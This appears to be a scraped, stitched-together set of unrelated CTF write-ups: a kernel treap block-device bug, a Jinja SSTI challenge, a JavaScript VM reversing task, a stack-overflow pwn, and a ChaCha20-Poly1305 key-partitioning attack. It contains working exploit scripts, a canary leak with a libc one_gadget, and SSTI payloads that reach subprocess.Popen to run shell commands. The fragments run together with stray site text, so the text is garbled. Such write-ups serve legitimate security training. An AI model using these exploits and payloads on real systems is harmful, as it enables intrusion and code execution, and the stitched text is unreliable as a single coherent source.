`kreapmem` refers to a block device that can dynamically create disks when a process opens the `kreapctl` device. A `kreapmem%d` disk is created in the `kreapctl_open` function, and it is destroyed in the `kreapctl_release` function.
When the disk is created, its capacity is set initially to 0.
On a `malloc` command, the module checks if there are enough free sectors to allocate the requested size, and if so, it allocates the sectors and returns the address of the first sector allocated.While there aren't enough free sectors, the module increases the capacity of the disk by 1 `megasector` (which is 3855 sectors allocated in 2 MB of memory).
The struct `kreap_megasector` is:
```cstruct kreap_megasector { /* Padding to align the megasector to a multiple of PAGE_SIZE */ u8 padding[PAGE_SIZE - ((sizeof(refcount_t) + sizeof(struct treap) * KREAP_MS_NODES_COUNT) & (PAGE_SIZE - 1))];
refcount_t refcount; /* Reference count used to free megasectors */ struct treap nodes[KREAP_MS_NODES_COUNT]; /* Treap nodes */} __randomize_layout;```
##### struct treap
We said that it was hinted that this challenge used a `treap` data structure in some way, and even if someone hadn't spotted that, after reverse engineering many recursive functions, it would have been clear that a data structure of some sort was being used.
[This](https://cp-algorithms.com/data_structures/treap.html) is a good explanation of what a treap is, but in short, it is a data structure that is a combination of a binary search tree and a heap, in this challenge it's implemented as an implicit treap, which is used to implement a dynamic array that can be splitted and merged in $\mathcal{O}(\log n)$ time.Every operation of access is also $\mathcal{O}(\log n)$ to nodes.
Every node stores a buffer of 512 bytes, and an index, which is the absolute offset of the node in the disk.
This instructions in `kreapctl_open` also confirm a previous guess:
```c blk_queue_logical_block_size(*(_QWORD *)(v8 + 80), 512LL); blk_queue_physical_block_size(*(_QWORD *)(v8 + 80), 512LL);```
The `sector_size` of the `kreapmem%d` disks is 512 bytes, which is noncoincidentally the size of the buffer of every node: for every sector of the disk we have a matching treap node (with the exception of the freed areas).We could confirm this guess by reversing the `kreapmem_file_operations` struct (that implements `submit_bio` and `page_rw`), but we already have enough information to understand how the challenge works.
##### The vulnerability
Let's dig deeper in the `CMD_MALLOC` and `CMD_FREE` commands and how they can be implemented using treaps.
`CMD_MALLOC` is a simple command, the code checks if there are enough free sectors to allocate the requested size (the counter of free_nodes is kept on `kreap_pdata`), and if there isn't, it increases the capacity of the disk by 1 megasector.
It repeats the entire process until there are enough free sectors, and then it **flags** them as "allocated" by increasing the `next_sector` variable (also stored in `kreap_pdata`) and removing the count of the allocated nodes from the `free_nodes` counter.
After allocating the sectors, the module sets the return data in the `kreap_ans` struct (always inside `kreap_pdata`) with the value of the `next_sector` variable before it was incremented.
`CMD_FREE` is a bit more complex, and it basically splits a contiguous area of sectors to free at the boundaries, then it merges the chunks at the left and at the right of the freed area, and finally it appends the freed chunk at the end of the treap (in the "free" area).
The splits are made in such a way that when everything is merged the indexes of everything on the right of the freed chunk remains **unchanged**, while the freed chunk is appended updating indexes normally.
But what if there is nothing on the right of the freed chunk? The module will try to merge the freed chunk with the chunk on the left, since there was nothing on the right to be merged with the left chunk. Namely, the indexes of the free nodes will be updated to $\text{last-index-of-the-left-chunk} + 1$.
When the module writes/reads from a sector in the range of the "fake-freed" chunk, all the operations will be made on the last element of the treap that can be modified, which is the last element of the left chunk.
We have a way to write on the same area in memory from various places!
#### Summing up
We can now write down a strategy to exploit the challenge: we will first fill up the initial `megasector` until there are about ~20/30 free nodes left.Then we will allocate that many nodes and then free them to trigger the "fake-free".Next, we allocate a sector we can read from and we then choose option 1, reading the flag from the file `/flag.txt`.When the flag is read, our allocated sector will be overwritten and we will be able to read the flag from there.
#### Exploitation
There is only a **little** problem: page cache. The `kreapmem` disks are block devices, and they are cached in the page cache, so when we read from a sector, the page cache will be used instead of the disk.
This means we won't be able to read the updated version of the sector from the disk (since it is already loaded into the RAM).
To solve this problem, we could try to swap out the interesting page, but this is not the best way to solve this problem, and it would probably almost DOS the server.
We can now instead remember the initial vulnerability we found on the `realloc` function (that is used in the `getline`), that allows us to copy less data than the size of the buffer, and read **uninitialized data**!
To finish the exploit correctly, we have to move the sector allocation (from which we can read) as the last allocation on the device, also we have to wait ~30 seconds before triggering the reallocations, to be sure that the writes to the device are synced to the disk.
Last but not least, we have to align the writes correctly (see exploit) because the page cache is allocated in 4 KB pages, and we have to write on the same sector while avoiding to write extra zeros (that is the sector after the flag buffer sector).
### Exploit
```pythonfrom pwn import *
exe = ELF("./attachments/chall")context.binary = exe
def main(): if (args.REMOTE): r = remote("localhost", 1337) else: r = process(exe.path)
## Exploit ## SLOT_NO = 0 # current slot number MS_SIZE = 3855 # number of nodes in a multisector GETLINE_INIT_SZ = 120 # initial size of the getline buffer FAKE_FREE_NODES = 15 # number of nodes to fake free KREAP_SECTOR_SIZE = 512 # size of a sector in the kreap (in bytes) NEXT_SECTOR = 0 # next sector number that will be allocated
# Get near the end of the MS # Getline size gets always doubled SECTORS = [0] * 20 SIZES = [0] * 20 for i in range(20): SIZES[i] = (GETLINE_INIT_SZ) * (1 << i) - 1 - 1 # endl + nullbyte # add 8 bytes for the block size stored before the data at every allocation SECTORS[i] = (SIZES[i] + 1 + 1 + 8 + KREAP_SECTOR_SIZE - 1) // KREAP_SECTOR_SIZE print("[+] Iteration {}: {} sectors (to trigger: {})".format(i, SECTORS[i], SIZES[i]))
SECTORS_ALLOCATED = 0
# Allocate the biggest size that doesn't trigger the ms overflow # Keep the nodes to fake free in the range: [MS_SIZE - FAKE_FREE_NODES * 2, MS_SIZE - FAKE_FREE_NODES] info("Filling the megasector with nodes...") while SECTORS_ALLOCATED < MS_SIZE - FAKE_FREE_NODES * 2: # Find the biggest size that doesn't get over MS_SIZE - FAKE_FREE_NODES for i in range(20): if SECTORS_ALLOCATED + SECTORS[i] > MS_SIZE - FAKE_FREE_NODES: break i -= 1 warn("Allocating {} sectors".format(SECTORS[i]))
store_data(r, SLOT_NO, b"A" * (SIZES[i])) SLOT_NO += 1
SECTORS_ALLOCATED += SECTORS[i] NEXT_SECTOR += sum(SECTORS[:i+1])
warn("SECTORS_ALLOCATED: {}".format(SECTORS_ALLOCATED)) FAKE_FREE_NODES = MS_SIZE - SECTORS_ALLOCATED
# Try to free nodes on the edge of the MS, the chunk has to be long at least ~20 nodes info("Fake freeing {} nodes on the edge of the megasector...".format(FAKE_FREE_NODES))
# Allocate as many nodes as the end of the MS - 1 for i in range(FAKE_FREE_NODES - 1): store_data(r, SLOT_NO + i, b"A") NEXT_SECTOR += 1
# Fake free for each allocated for i in range(FAKE_FREE_NODES - 1): store_data(r, SLOT_NO + FAKE_FREE_NODES - 1, b"A") NEXT_SECTOR += 1 erase_data(r, SLOT_NO + FAKE_FREE_NODES - 1)
# Free each node previously allocated for i in range(FAKE_FREE_NODES - 1): erase_data(r, SLOT_NO + i)
warn("NEXT_SECTOR: {}".format(NEXT_SECTOR)) ALIGN_COUNT = 5 - NEXT_SECTOR % 8 warn("Aligning to 5 (mod 8) using {} sectors...".format(ALIGN_COUNT))
# Align the sectors to 5 mod 8 for i in range(ALIGN_COUNT): store_data(r, SLOT_NO, b"A") SLOT_NO += 1
# Load the flag info("Loading the flag...") load_flag(r)
warn("Waiting for the write to be synced") sleep(30)
# We trigger a realloc store_data(r, SLOT_NO, b"A"*GETLINE_INIT_SZ) SLOT_NO += 1
warn(read_data(r, SLOT_NO - 1).decode())
print(r.recvall(timeout=1)) log.success(str(SLOT_NO + FAKE_FREE_NODES) + " slots used") r.close()
## Util functions ##def load_flag(r): r.sendlineafter(b">", b"1")
def store_data(r, slot, data): r.sendlineafter(b">", b"2") r.sendlineafter(b">", str(slot).encode()) r.sendlineafter(b">", data)
def read_data(r, slot): r.sendlineafter(b">", b"3") r.sendlineafter(b">", str(slot).encode()) return r.recvline().strip()
def erase_data(r, slot): r.sendlineafter(b">", b"5") r.sendlineafter(b">", str(slot).encode())
# execute codeif __name__ == "__main__": main()``` |
[writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-a46a78515a8a) : https://medium.com/@mr_zero/inter-galactic-ctf-competition-a46a78515a8a |
## Challenge descriptionMy cousin said he once got fired for putting his p*ckle into the pickle slicer at his old workplace. Can you confirm that it's true for me?
## Functionality
After opening the challenge url we see two forms.After entering some JSON text on the first one we can see that the app responds back with an ID.We can then enter this ID on the second form and we get back a python byte string and some ascii love from the challenge creator ?.## Code reviewFolder structure:```├── docker-compose.yml└── hosted ├── app.py ├── Dockerfile ├── .gitignore ├── requirements.txt └── templates └── index.html```The file that is of most value to us is `app.py` which contains all of the logic of the challenge.It contains the class `PickleFactoryHandler`, which is responsible for handling GET and POST requests by inheriting from the `http.server` python moduleThere are also two functions, `render_template_string_sanitized` which is an input blacklist and `generate_random_hexstring` which generates the ID's we saw above.```pyimport randomimport jsonimport picklefrom http.server import BaseHTTPRequestHandler, HTTPServerfrom urllib.parse import urlparse, unquote_plusfrom jinja2 import Environment
pickles = {}
env = Environment()
class PickleFactoryHandler(BaseHTTPRequestHandler): def do_GET(self): parsed = urlparse(self.path) if parsed.path == "/": self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() with open("templates/index.html", "r") as f: self.wfile.write(f.read().encode()) return elif parsed.path == "/view-pickle": params = parsed.query.split("&") params = [p.split("=") for p in params] uid = None filler = "##" space = "__" for p in params: if p[0] == "uid": uid = p[1] elif p[0] == "filler": filler = p[1] elif p[0] == "space": space = p[1] if uid == None: self.send_response(400) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("No uid specified".encode()) return if uid not in pickles: self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write( "No pickle found with uid {}".format(uid).encode()) return large_template = """ <html> <head> <title> Your Pickle </title> <style> html * { font-size: 12px; line-height: 1.625; font-family: Consolas; } </style> </head> <body> """ + str(pickles[uid]) + """ <h2> Sample good: </h2> {% if True %} {% endif %} {{space*59}} {% if True %} {% endif %} {{space*6+filler*5+space*48}} {% if True %} {% endif %} {{space*4+filler*15+space*27+filler*8+space*5}} {% if True %} {% endif %} {{space*3+filler*20+space*11+filler*21+space*4}} {% if True %} {% endif %} {{space*3+filler*53+space*3}} {% if True %} {% endif %} {{space*3+filler*54+space*2}} {% if True %} {% endif %} {{space*2+filler*55+space*2}} {% if True %} {% endif %} {{space*2+filler*56+space*1}} {% if True %} {% endif %} {{space*3+filler*55+space*1}} {% if True %} {% endif %} {{space*3+filler*55+space*1}} {% if True %} {% endif %} {{space*4+filler*53+space*2}} {% if True %} {% endif %} {{space*4+filler*53+space*2}} {% if True %} {% endif %} {{space*5+filler*51+space*3}} {% if True %} {% endif %} {{space*7+filler*48+space*4}} {% if True %} {% endif %} {{space*9+filler*44+space*6}} {% if True %} {% endif %} {{space*13+filler*38+space*8}} {% if True %} {% endif %} {{space*16+filler*32+space*11}} {% if True %} {% endif %} {{space*20+filler*24+space*15}} {% if True %} {% endif %} {{space*30+filler*5+space*24}} {% if True %} {% endif %} {{space*59}} {% if True %} {% endif %} </body> </html>""" try: res = env.from_string(large_template).render( filler=filler, space=space) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(res.encode()) except Exception as e: print(e) self.send_response(500) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("Error rendering template".encode()) return else: self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("Not found".encode()) return
def do_POST(self): parsed = urlparse(self.path) if parsed.path == "/create-pickle": length = int(self.headers.get("content-length")) body = self.rfile.read(length).decode() try: data = unquote_plus(body.split("=")[1]).strip() data = json.loads(data) pp = pickle.dumps(data) uid = generate_random_hexstring(32) pickles[uid] = pp self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(uid.encode()) return except Exception as e: print(e) self.send_response(400) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("Invalid JSON".encode()) return else: self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("Not found".encode()) return
def render_template_string_sanitized(env, template, **args): # it works! global_vars = ['self', 'config', 'request', 'session', 'g', 'app'] for var in global_vars: template = "{% set " + var + " = None %}\n" + template return env.from_string(template).render(**args)
def generate_random_hexstring(length): return "".join(random.choice("0123456789abcdef") for _ in range(length))
if __name__ == "__main__": PORT = 9229 with HTTPServer(("", PORT), PickleFactoryHandler) as httpd: print(f"Listening on 0.0.0.0:{PORT}") httpd.serve_forever()```## JSON => pickle => SSTIAfter testing out some inputs i noticed that if we enter a JSON object it gets parsed and it's keys are not converted to hex, we can confirm this at lines `158`, `159` and by testing the classic {{7*7}} payload.inputs: ```{"reflectedValue":2}{"{{7*7}}":2}```

I tried testing out some common SSTI payloads but let's not forget, there is a blacklist implemented so we have to take in to account these restrictions.
I tried out this payload to see what classes we have available:```{"{% for c in ''.__class__.__base__.__subclasses__() %} {{ '\n' }} {{ c }} {{ '\n' }} {% endfor %}":2}```
After seeing the output we can confirm that the `subproccess.Popen` class is available with index `340`, perfect! that's our RCE.

```{"{{''.__class__.__base__.__subclasses__()[340]('ls',shell=True,stdout=-1).communicate()[0].strip()}}":2}```
We can see that there's a file `flag.log`, ladies and gentlement, we got em!```{"{{''.__class__.__base__.__subclasses__()[340]('cat flag.log',shell=True,stdout=-1).communicate()[0].strip()}}":2}```

Contributors: `jimman2003` |
# TeamItaly CTF 2022
## Spaghetti VM (8 solves)
`Spaghetti VM` is a custom Javascript VM that runs very simple instructions with only a stack available (no registers).
The input comes from the first command line argument (`sys.argv[2]`) and is checked 4 charactersat a time (after checking the length).It is possible to bruteforce the flag one char at a time and for this reason some counter-measuresagainst dynamic analysis have been added: the program will check itself by running another VM for some instructionssearching for newline characters.
### Solution
Both dynamic and static analysis are feasible.
_Dynamic analysis_ can be achieved by disabling the self check removingthe VMs inside the instructions, this can be achieved by simply deleting the for loop that is the core of the VM.
At this point the program can be run nicely formatted allowing to dump all instructions being called and the stack.Note that the same is possible by editing the formatted file and then uglifying it again.
As the flag check is done char by char one can identify `===` instructions that fail and slowly reconstruct the flag,be careful as the chars are checked in random order in groups of four.
_Static analysis_ is probably slower but can be performed by manually identifying the instructions called from the biginstructions array (each number is an index into that array) and map out the program. The only instruction that takesan argument is the `LOAD` one, the argument is the index of the number to be loaded from the data array.The original source for the challenge is ~900 lines as some operations need to be repeated, for this reason writing somescript to parse the program to identify repeating patterns is advised.
The flag is checked by xoring each character with a key that is generated piece by piece, the JS code for generatingthe keys is:
```tsconst makeKey = ( length: number, magic1: number, magic2: number): { key: number[]; magics1: number[]; magics2: number[] } => { const key = [], magics1 = [], magics2 = []; for (let i = 0; i < Math.ceil(length / 4); i++) { magics1.push(magic1); magics2.push(magic2);
const base = magic1 + magic2; key.push(base & 255); key.push((base >> 8) & 255); key.push((base >> 16) & 255); key.push((base >> 24) & 255);
magic1 = magic2 ^ magic1 ^ ((magic1 << 26) | (magic1 >> 6)) ^ ((magic2 ^ magic1) << 9); magic2 = ((magic2 ^ magic1) << 13) | ((magic2 ^ magic1) >> 19); }
return { key, magics1, magics2 };};```
Where `magic1` and `magic2` are hardcoded inside the program and loaded from 4 8-bits integers.There is no JS code for the checking portion as it has been written directly in the VM "language", but here's the snippet:
```tsconst encryptFlag = (flag: string): { enc: number[]; magics1: number[]; magics2: number[] } => { const { key, magics1, magics2 } = makeKey( flag.length, randomInt(0xffffffff), randomInt(0xffffffff) ); return { enc: key.map((x, i) => x ^ flag.charCodeAt(i)), magics1, magics2 };};
// Encrypt flag and compute all magicsconst { enc, magics1, magics2 } = encryptFlag(flag);
// Compute order of checksconst shuffleList = (() => { const list = []; for (let i = 0; i < 4; i++) list.push(i); list.sort(() => 0.5 - Math.random()); return list;})();
const builder = new ChallengeBuilder();
// Get first argumentbuilder.loadFlag();
// Check we have the first argumentbuilder.dup().printNoIfFalse();
// Check the flag has the correct lengthbuilder.len().load(flag.length).eeq().printNoIfFalse();
// Check flag 4 chars at a timefor (let i = 0; i < Math.ceil(flag.length / 4); i++) { builder.loadMagic(magics1[i]).loadMagic(magics2[i]).add();
// Check 4 chars in pre-computed random order for (let j = 0; j < shuffleList.length; j++) { if (j < shuffleList.length - 1) builder.dup();
switch (shuffleList[j]) { case 0: builder .load(255) .and() .loadFlag() .load(i * 4) .char() .xor() .load(enc[i * 4]) .eeq() .printNoIfFalse(); break; case 1: builder .rsh(8) .load(255) .and() .loadFlag() .load(i * 4 + 1) .char() .xor() .load(enc[i * 4 + 1]) .eeq() .printNoIfFalse(); break; case 2: builder .rsh(16) .load(255) .and() .loadFlag() .load(i * 4 + 2) .char() .xor() .load(enc[i * 4 + 2]) .eeq() .printNoIfFalse(); break; case 3: builder .rsh(24) .load(255) .and() .loadFlag() .load(i * 4 + 3) .char() .xor() .load(enc[i * 4 + 3]) .eeq() .printNoIfFalse(); break; } }}
builder.loadString('ok!!').print();``` |
# warmup2.py
```pyfrom pwn import *
r = remote('warmup2.ctf.maplebacon.org', 1337)
r.readline()
p = cyclic(265)
r.send(p)
x = r.recv().split()[1][:-1][265:]
canary = int.from_bytes(x[:7], byteorder='little') << 8stack = int.from_bytes(x[7:], byteorder='little')
print(f'Canary : {hex(canary)}')
p = cyclic(264)p += p64(canary)p += b'AAAAAAAA'p += b'\xdd'
r.send(p)
r.recv()
p = cyclic(280)
r.send(p)
r.recv()
x = r.recv().split()[1][:-1][280:]
BASE_ELF = int.from_bytes(x, byteorder='little') - 0x12DD - 5
print(f'Base_elf : {hex(BASE_ELF)}')
p = cyclic(264)p += p64(canary)p += b'AAAAAAAA'p += p64(BASE_ELF + 0x12DD)
r.send(p)
r.recv() r.recv()
p = cyclic(296)
r.send(p)
x = r.recv().split()[1][:-1][296:]
LIBC_BASE = int.from_bytes(x, byteorder='little') - 147587
print(f'Libc_base : {hex(LIBC_BASE)}')
one_gadget = 0xe3b01
p = cyclic(264)p += p64(canary)p += b'AAAAAAAA'p += p64(LIBC_BASE+one_gadget)
r.send(p)
r.interactive()```
# FLAG
**`maple{we_have_so_much_in_common}`**
|
[writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-3d1d004bfbd1) : https://medium.com/@mr_zero/inter-galactic-ctf-competition-3d1d004bfbd1 |
# TeamItaly CTF 2022
## GPOCS (8 solves)
GPOCS is a service that generates password and allows you to test them by asking you to find which password it has generated. By rate-limiting the amount of attempts you can do, it prevents you from simply brute-forcing the passwords: you are only given 8 testing attempts over a password range of $12^2 = 144$ passwords. Since this is repeated 20 times, the probability of solving the challenge by pure luck is extremely low.
### Solution
The player is given a decryption oracle that checks if the password can correctly decrypt an attacker-provided ciphertext. This allows for a key partitioning oracle [1] where instead of trying 144 keys singularly, each query can be used to test for multiple keys at the same time, allowing for a binary search of the correct key. Since $\lceil\log(2, 144)\rceil = 8$, the number of queries is exactly sufficient to get the correct key everytime. This is done by creating a ciphertext that decrypts correctly under multiples keys (a "splitting ciphertext").
This attack can be executed against any non key-committing AEAD, such as AES-GCM and ChaCha20-Poly1305 (the latter being the one used in this challenge). Unfortunately, while the algebraic structure of AES-GCM allows for an easy creation of splitting ciphertexts, with ChaCha20-Poly1305 we have a harder time in running the exploit. This is because in ChaCha20-Poly1305 there are a few design choices that make it harder to compute an attack. For example, the cipehrtext is split into blocks of 16 bytes and a 0x01 is appended, forcing each block to be in the $[2^{128}, 2^{129}-1]$ range. In fact, the paper by Len et al. only manages to create splitting ciphertexts that decrypt under 10 keys at most. This, of course, makes it impossible to run a binary search, since the first search requires to check 128 keys in a single run.
Luckily, there are lattice methods that allow us to compute ChaCha20-Poly1305 splitting ciphertexts, such as the ones described by Kryptos Logic [2]. They provide part of the code, which is incomplete and cannot be used to compute large-scale splitting ciphertexts since it tries to compute an exact closest vector. The code must then be modified using Kannan embedding and BKZ to actually manage to solve the challenge by computing an approximation.
Another possible option is to keep using the original code by Len et al. (https://github.com/julialen/key_multicollision) and use an inequality solver e.g. (https://github.com/rkm0959/Inequality_Solving_with_CVP) to compute a solution that matches the constraint (I have not tested this alternative yet).
### Flag
```flag{c4n_1_us3_fd1sk_t0_p4rt1t10n_my_k3ys?}```
### Exploit
```pythonimport itertoolsimport base64import mathimport os
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305from cryptography.hazmat.primitives.ciphers.algorithms import ChaCha20from cryptography.hazmat.primitives.poly1305 import Poly1305from cryptography.hazmat.primitives.ciphers import Cipherfrom cryptography.hazmat.primitives.kdf.scrypt import Scrypt
from pwn import *
HOST = os.environ.get("HOST", "gpocs.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15005))
context.log_level = 'debug'
q = 2^130-5R = GF(q)P.<x> = R[]
def convert_passwords(passwords: list[str], salt: str): result = [] salt = bytes.fromhex(salt)
for password in passwords: k = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1).derive(password.encode()) chacha = Cipher(ChaCha20(k, b'\x00' * 16), mode=None).encryptor() rs = chacha.update(b'\x00'*32) r = int.from_bytes(rs[:16], 'little') & 0x0ffffffc0ffffffc0ffffffc0fffffff s = int.from_bytes(rs[16:], 'little') result.append((k, r, s)) return result
def create_ciphertext(key_list: list[tuple[bytes, bytes, bytes]]): k, r, s = zip(*key_list)
l = len(k) d = 30
# target common tag tag = randint(0, 2^128)
# final polynomial has l+d blocks E = ((16 * (l+d)) << 64) + 2^128 t = [ (((tag - s[i]) % 2^128) - E*r[i])/r[i]^2 % q for i in range(l) ]
print("[+] Starting interpolation")
# Interpolate m = P.lagrange_polynomial(zip(r, t))
print("[+] Finished interpolation, building lattice")
# CRT p = prod([ x - ri for ri in r ]) f = x^d + P.random_element(d-1)
assert(gcd(f, p) == 1)
ma = m * f * inverse_mod(f, p) % (p*f) mb = p * inverse_mod(p, f) % (p*f)
# build q-ary lattice qL = matrix(R, [ list(x^i * mb % (p*f)) for i in range(d) ]) zL = block_matrix(ZZ, 2, 1, [ qL.echelon_form().change_ring(ZZ), block_matrix(ZZ, 1, 2, [zero_matrix(l, d), identity_matrix(ZZ, l) * q]) ]) target = vector([ ZZ((2^128+2^127) - ma[i]) for i in range(l+d) ])
print("[+] Running CVP (This is a slow process)")
# Build kannan embedding
M = 2**114 # magic numbers!
zL_kannan = block_matrix([[zL.BKZ(), zero_matrix(l+d, 1)], [target.row(), M]]) zL_kannan = zL_kannan.BKZ()
for row in zL_kannan: if row[-1] == M: v = target - row[:-1] break else: raise Exception("Correct row not found")
# # Alternative solution with exact CVP solver, doesn't work for our sizes! # L = IntegerMatrix.from_matrix(zL.LLL()) # v1 = CVP.closest_vector(L, target) # print(v1)
print("[!] Done, running assertions")
final = vector(ZZ, (vector(v)+vector(ma))%q) assert( (final - vector([2^128+2^127]*(l+d))).norm() <= sqrt(l+d)*2^127 ) assert( all([ 2^128 <= block < 2^129 for block in final ]) ) finalp = sum([ x^i * final[i] for i in range(l+d)]) assert( all([ finalp(ri) == ti for ri, ti in zip(r, t) ]) ) assert( all([ (ZZ((finalp * x^2 + E*x)(ri)) + si) % 2^128 == tag for ri,si in zip(r,s)]) ) ciphertext = b''.join([ int(block % 2^128).to_bytes(16, 'little') for block in reversed(final) ]) + tag.to_bytes(16, 'little') for ki in k: aead = ChaCha20Poly1305(ki) aead.decrypt(b'\x00'*12, ciphertext, None)
return base64.b64encode(b'\x00' * 12 + ciphertext)
def submit_ciphertext(r, ctxt): r.sendline(b'1')
# The timeout here is in theory useless, but pnwtools fucks up somehow # and if no timeout is given it will get stuck r.recvuntil(b'ciphertext (base64-encoded):', timeout=2)
r.sendline(ctxt) res = r.recvline() r.recvuntil(b'>') return b'OK' in res
def handle_round(r): r.recvuntil(b'following words: \n') words = r.recvline().decode().strip().split() r.recvuntil(b'salt (hex-encoded): ') salt = r.recvline().decode().strip() r.recvuntil(b'>') print('[!] Using words: ', words) print('[!] Using salt: ', salt)
assert len(words) == 12
passwords = ['-'.join(ww) for ww in itertools.product(words, repeat=2)]
# Run binary search, until one candidate is left while (l := len(passwords)) > 1: print(f'[!] Running binary search, current search space length: {l}') half_idx = math.ceil(l/2) half = passwords[:half_idx] ctxt = create_ciphertext(convert_passwords(half, salt))
if submit_ciphertext(r, ctxt): passwords = half else: passwords = passwords[half_idx:]
print(f'[*] Found password! {passwords[0]}')
r.sendline(b'2') r.recvuntil('Send your password guess: ') r.sendline(passwords[0].encode()) r.recvuntil(b'Good job!')
def main(): r = remote(HOST, PORT) r.sendline(b'')
for i in range(20): print(f'\n!!! ------ CURRENTLY IN ROUND {i+1} ------- !!!\n') handle_round(r)
r.interactive()
if __name__ == "__main__": main()```
[1] Len et al. "Partitioning Oracle Attacks" (USENIX Security 2021)[2] Kryptos Logic "Faster Poly1305 Key Multicollisions" (https://www.kryptoslogic.com/blog/2021/01/faster-poly1305-key-multicollisions/) |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.